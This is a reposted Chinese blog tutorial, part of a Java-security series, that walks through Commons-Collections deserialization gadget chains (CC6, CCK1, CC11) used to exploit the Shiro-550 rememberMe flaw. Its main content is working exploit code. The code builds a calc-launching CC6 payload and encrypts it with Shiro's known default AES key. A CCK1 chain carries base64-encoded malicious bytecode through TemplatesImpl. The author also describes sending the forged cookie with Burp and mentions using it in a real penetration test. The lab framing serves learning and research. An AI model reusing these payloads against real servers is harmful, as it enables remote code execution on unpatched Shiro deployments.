服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

日期: 来源:沃克学安全收集编辑:walker1995
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章。

    本文为JAVA安全系列文章第十五篇,主要内容为shiro反序列化下的CC链。


    在上一篇中,我们学习了CC3链及其结合CC6改造的通杀链,并说明了其与CCK1,CC11这两条链的区别,下面我们就结合shiro 550 经典反序列化漏洞的利用来学习CCK1,CC11。

0x01  环境搭建

一、Shiro 550 反序列化原理

虽然我们还尚未开启组件篇讲shiro,但作为近几年生命力最持久的漏洞之一,养活安全工程师的漏洞之一,hvv神洞之一,相信大家在平时做渗透或者打攻防的时候都碰到过shiro,然后使用工具一把梭直接getshell。

由于本文重点是讲链子,故此处就不进行代码分析讲它产生漏洞的原因了,我们放到组件篇之shiro中去讲。不过此处还是提一下原理:

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息先序列化,然后AES加密再base64编码后保存在Cookie的rememberMe字段中,下次读取时先进行base64解码,然后AES解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

二、IDEA中启动Tomcat搭建环境

我们直接采用p神在《JAVA安全漫谈》中准备的环境来进行搭建,项目地址:https://github.com/phith0n/JavaThings

我们下载下来后在IDEA中打开shirodemo目录,maven会自动去下载pom.xml文件中的依赖,然后如下配置tomcat:

配置完点击apply,再点击ok。启动tomcat,待启动完成后,浏览器中访问http://localhost:8090/shirodemo/会看到一个登录界面:

初次使用,Tomcat控制台大概率会中文乱码,参考这篇文章解决:https://blog.csdn.net/gaogzhen/article/details/107307459

不知道如何下载配置Tomcat,Maven,如何在IDEA中启动Tomcat的读者,自行百度或参考https://www.cnblogs.com/gh110/p/15869264.html,此处不赘述。

三、环境说明

为了不引入其他干扰因素,环境中没有使用任何Web框架,整个项目只有两个代码文件,index.jsp和login.jsp,依赖这块也仅有下面几个:

shiro-core、shiro-web,这是shiro本身的依赖

javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖

slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖 commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误

commons-collections 3.2.1,为了演示反序列化漏洞,增加了commons-collections依赖

另外,我的Tomcat版本为9.0.59,服务端使用的JDK11。

0x02  为什么需要CCK1、CC11

一、使用CC6攻击shiro
1.攻击流程

我们输入正确账号密码root/secret,然后勾选Remember me,登录成功后服务端会返回一个rememberMe的cookie:

结合前面说的原理,我们攻击的流程应是:

(1)使用CC6链生成一个序列化的弹计算器的Payload

(2)将此序列化后的Payload使用默认key(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密再Base64编码作为密文

(3)使用Burp将此密文作为rememberMe的cookie发送给服务端

2.代码编写

第一步我们修改下之前学的简化版CC6的代码,使其返回一个序列化的弹计算器的Payload:

public class SimplifiedCC6 {
   public static byte[] getPayload() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       Transformer[] fakeformers = {new ConstantTransformer(1)};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       //先传入人畜无害的fakeformers避免put时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       HashMap hashMap = new HashMap();
       hashMap.put(tiedMapEntry,"test");
       lazyMap.remove("xxx");

       //反射修改chainedTransformer中的iTransformers为transforms
       Class clazz = chainedTransformer.getClass();
       Field field = clazz.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(chainedTransformer,transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashMap);
       oos.close();

       return bos.toByteArray();
  }
}

第二步,AES加密再base64编码的这个过程我们直接使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后得到的是一段base64字符串。

故我们应先在Maven中加入相关依赖:

代码如下:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.IOException;

public class SimplifiedCC6_ShiroPayload {
   public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
       byte[] payloads = SimplifiedCC6.getPayload();
       AesCipherService aes = new AesCipherService();
       byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
       ByteSource ciphertext = aes.encrypt(payloads, key);
       System.out.println(ciphertext);
  }
}

第三步,使用Burp将获得的字符串作为Cookie的rememberMe字段发送给服务端

然而,并没有弹出计算器,而是报出如下错误:

这是为什么呢?

二、为什么CC6无法利用,会爆错误?

如此高端的问题,对于我现在的水平是无法刨根到底的。这也不是本文的重点,以下来自p神《JAVA安全漫谈》:

shiro在反序列化时使用的是org.apache.shiro.io.ClassResolvingObjectInputStream,这是一个ObjectInputStream的子类,其重写了 resolveClass 方法:

resolveClass方法是在读取序列化流的时候,读取一个字符串形式的类名,通过这个方法来找到对应的 java.lang.Class 对象。

看下其父类ObjectInputStream#resolveClass是啥样的:

通过对比发现不同点在于ClassResolvingObjectInputStream#resolveClass使用的是org.apache.shiro.util.ClassUtils.forName(),调试会发现实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass。

出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 即org.apache.commons.collections.Transformer 的数组。

网上很多文章的结论是, Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持加载数组,这个区别导致了问题。但事情没有那么简单。

经过调试,中间涉及到大量Tomcat对类加载的处理逻辑。

最后的结论是:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。CommonsCollections6中用到了Transformer数组,故其无法进行利用。

早之前对此进行讨论的相关文章:

https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html

(Go low – Exploiting JVM deserialization vulns despite a broken class loader )

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

(Orange: Pwn a CTF Platform with Java JRMP Gadget,评论区很精彩)

https://blog.zsxsoft.com/post/35

(Shiro 1.2.4(SHIRO-550)漏洞之发散性思考)

如果想自己进行调试来看下,可以参考这两篇文章:

https://www.anquanke.com/post/id/192619

(Java反序列化利用链分析之Shiro反序列化)

https://www.cnblogs.com/W4nder/p/14508817.html

(shiro-1.2.4反序列化分析踩坑)

0x03  为shiro反序列化利用而生的CC链

一、CCK1链

Orange在其博客中采用JRMP的方式解决了上面的问题。此处我们解决的思路是将Transformer数组长度降为1。怎么降为1呢?这就要用到TemplatesImpl这个类了。

在上篇CC3链的分析中,我们首先使用TemplatesImpl改造TransformedMap CC1 Demo,此时Transformer数组长度就变为2了:

同样,如果我们使用TemplatesImpl改造之前学的简化版CC6,也可使其长度变为2。

那接下来就看能否在CC6中将这个数组的长度变为1了。

我们回顾下CC6的Gadget Chain:

其中,TiedMapEntry 的构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的 get方法,并传入key:

此处的map我们传入的是LazyMap,而在LazyMap的get()方法中,若key不存在则会调用factory.transform(key),factory为一个Transformer类型:

如果我们让此处的factory为InvokerTransformer对象,key为TemplatesImpl对象,那我们就不需要ConstantTransformer了。这就是CCK1链!!!

代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CCK1 {
   public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入一个transformer,其iMethodName为人畜无害的getClass,避免put时就弹计算器
       Transformer transformer = new InvokerTransformer("getClass", null, null);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, transformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

       HashMap hashMap = new HashMap();
       hashMap.put(tiedMapEntry, "test");
       lazyMap.clear();

       //反射修改transformer中的iMethodName为newTransformer
       setFieldValue(transformer,"iMethodName","newTransformer");

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashMap);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}
二、CCK1链攻击shiro

参照CC6攻击shiro,我们很容易就能获取到一个利用CCK1构造的弹计算器的Payload:

使用Burp发送Payload,弹出计算器:

三、CC10/CC11和其他可用于打shiro的CC链

其实所谓的CC10和CC11其精髓也就是上面说的。

CC10链:

https://github.com/wh1t3p1g/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections10.java

CC11链:

http://wjlshare.com/archives/1536

这两条链与CCK1的区别是后半部分与Ysoserial CC6一样,且使用了javasist(一个字节码操纵的第三方库,后面会学到)配合TemplatesImpl来产生恶意字节码。但CC10与CC11我并没有看出有啥区别,我怀疑这俩只是同一条链的不同写法而已。

其实除了CCK1和CC11,其他的一些CC链也可以用于打shiro。比如原生的CC2链就可以直接用于shiro的利用,因为它也是没有数组的;再比如我们将上篇中提到的CC3的通杀改造链进行同上面的改造也可以使其用于打shiro。不过嘛,有CCK1与CC11也就够用了,这俩貌似是最好用的。

0x04  总结

1.Shiro不是遇到Tomcat就一定会有数组这个问题,在Orange那篇文章的评论区最下面,有师傅指出:

在JDK中ClassLoader.loadClass确实不支持数组,但在shiro中并非如此,可以发现[Ljava.lang; 等数组能加载,shiro中的loadClass最终会跳到tomcat上下文执行Class.forName,和loadClass应该是无关的,但是jdk和tomcat的classpath是相互独立的,所以在Tomcat上下文中无法加载第三方cc,添加tomcat启动设置,或者设置loader就行

可惜文章链接现在好像访问不到了。


2.CCK1可以看成是使用TemplatesImpl改造且无Transformer数组的简化版CC6的改造链;CC11可以看成是使用TemplatesImpl改造且无Transformer数组的原生CC6的改造链。

有的读者会说,一个简化版CC6的改造,一个原生CC6的改造还有必要分为两条链吗?

有!!!Ysoserial毕竟是款专业的反序列化利用工具,考虑到的东西比较全面。

在之前的一次渗透中遇到一次shiro默认key+CCK1可打,客户改后CCK1不可打,试了几款工具都找不到利用链,最后使用feihong写的那款shiro利用工具(内置CC10)可以:


3.Shiro-550的修复并不意味着反序列化漏洞的修复,可能只是改了key且无法爆破出来。Shiro-550的利用方式目前我知道的有CC链,CB链,JRMP。


4.目前网上公开的CC链我知道的有CC1-CC11,CCK1-CCK4,其实我们已经学了一大半了。CCK2其实是适配commons-collections4.0的CCK1,区别只是在于包名由org.apache.commons.collections.*变为org.apache.commons.collections4.*,LazyMap.decorate()变为LazyMap.lazyMap():

https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK2.java

CCK3其实就是前面学的简化版CC6,CCK4是适配commons-collections4.0的CCK3,两者区别与上面的一样。

https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK3.java

https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK4.java

还剩下CC2,CC4,CC5,CC7-CC9六条链,后面会加快进度,尽快把剩下的更完,结束CC链的学习。


如果完全理解了前面的分析文章,那本文的内容也就不难理解了。

下一篇更哪条链呢?

欲知后事如何,且听下回分解(狗头)


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

相关阅读

  • JAVA安全|Gadget篇:CC5 CC7链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:CC8 CC9链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:Ysoserial CB1链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理
  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • JAVA安全|Gadget篇:CC5 CC7链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:CC8 CC9链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需
  • JAVA安全|Gadget篇:Ysoserial CB1链

  • 0x00 前言 JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需